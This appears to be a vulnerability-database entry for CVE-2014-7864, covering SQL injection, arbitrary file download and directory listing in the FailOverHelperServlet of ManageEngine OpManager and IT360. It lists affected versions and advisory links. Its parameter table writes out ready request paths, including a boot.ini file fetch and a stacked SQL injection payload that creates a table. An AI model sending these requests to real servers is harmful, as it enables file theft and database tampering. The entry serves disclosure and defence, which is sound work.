CVE-2014-7864

🗓️ 04 Feb 2015 16:00:00Reported by mitreType

cve

cve🔗 web.nvd.nist.gov👁 54 Views🌐 WEB

Zoho OpManager & IT360 FailOverHelperServlet SQL Injectio

Reporter	Title	Published	Views	Family All 10
0day.today	ManageEngine OpManager / Applications Manager / IT360 -FailOverServlet Multiple Vulnerability	26 Jan 201800:00	–	zdt
CNVD	ZOHO ManageEngine OpManager and IT360 SQL Injection Vulnerability	9 Feb 201500:00	–	cnvd
Cvelist	CVE-2014-7864	4 Feb 201516:00	–	cvelist
Exploit DB	ManageEngine OpManager / Applications Manager / IT360 - 'FailOverServlet' Multiple Vulnerabilities	9 Feb 201500:00	–	exploitdb
exploitpack	ManageEngine OpManager Applications Manager IT360 - FailOverServlet Multiple Vulnerabilities	9 Feb 201500:00	–	exploitpack
NVD	CVE-2014-7864	4 Feb 201516:59	–	nvd
OpenVAS	ManageEngine OpManager Multiple Vulnerabilities (Feb 2015) - Active Check	20 Mar 201500:00	–	openvas
Packet Storm	ManageEngine File Download / Content Disclosure / SQL Injection	29 Jan 201500:00	–	packetstorm
Prion	Sql injection	4 Feb 201516:59	–	prion
securityvulns	[The ManageOwnage Series, part XII]: Multiple vulnerabilities in FailOverServlet (OpManager, AppManager, IT360)	2 Feb 201500:00	–	securityvulns

NVD

Node

zohocorp manageengine_opmanagerMatch8.8

OR

zohocorp manageengine_opmanagerMatch9.0

OR

zohocorp manageengine_opmanagerMatch9.1

OR

zohocorp manageengine_opmanagerMatch9.2

OR

zohocorp manageengine_opmanagerMatch9.4

OR

zohocorp manageengine_opmanagerMatch10.0

OR

zohocorp manageengine_opmanagerMatch10.1

OR

zohocorp manageengine_opmanagerMatch10.2

OR

zohocorp manageengine_opmanagerMatch11.0

OR

zohocorp manageengine_opmanagerMatch11.1

OR

zohocorp manageengine_opmanagerMatch11.2

OR

zohocorp manageengine_opmanagerMatch11.3

OR

zohocorp manageengine_opmanagerMatch11.4

OR

zohocorp manageengine_opmanagerMatch11.5

Source	Link
seclists	www.seclists.org/fulldisclosure/2015/Jan/114
raw	www.raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt
securityfocus	www.securityfocus.com/archive/1/534575/100/0/threaded
support	www.support.zoho.com/portal/manageengine/helpcenter/articles/vulnerabilities-in-failoverhelperservlet
exchange	www.exchange.xforce.ibmcloud.com/vulnerabilities/100555
packetstormsecurity	www.packetstormsecurity.com/files/130162/ManageEngine-File-Download-Content-Disclosure-SQL-Injection.html

Parameter	Position	Path	Description	CWE
operation	query param	servlet/FailOverHelperServlet?operation=copyfile&fileName=C:\\boot.ini	Arbitrary file download	CWE-89
fileName	query param	servlet/FailOverHelperServlet?operation=copyfile&fileName=C:\\boot.ini	Arbitrary file download	CWE-89
operation	query param	servlet/FailOverHelperServlet?operation=listdirectory&rootDirectory=C:\	Information disclosure - list files in a directory	CWE-89
rootDirectory	query param	servlet/FailOverHelperServlet?operation=listdirectory&rootDirectory=C:\	Information disclosure - list files in a directory	CWE-89
operation	query param	servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=[SQLi_1]&serverRole=[SQLi_2]	Blind SQL injection	CWE-89
customerName	query param	servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=[SQLi_1]&serverRole=[SQLi_2]	Blind SQL injection	CWE-89
serverRole	query param	servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=[SQLi_1]&serverRole=[SQLi_2]	Blind SQL injection	CWE-89
operation	query param	servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=a')%3b+create+table+bacas+(bodas+text)%3b--+&serverRole=a	Blind SQL injection	CWE-89
customerName	query param	servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=a')%3b+create+table+bacas+(bodas+text)%3b--+&serverRole=a	Blind SQL injection	CWE-89
serverRole	query param	servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=a')%3b+create+table+bacas+(bodas+text)%3b--+&serverRole=a	Blind SQL injection	CWE-89

17 Jun 2026 00:15Current

7.9High risk

Vulners AI Score7.9

CVSS 27.5

EPSS0.22667

cve-2014-7864 zoho opmanager it360 failoverhelperservlet sql injection vulnerability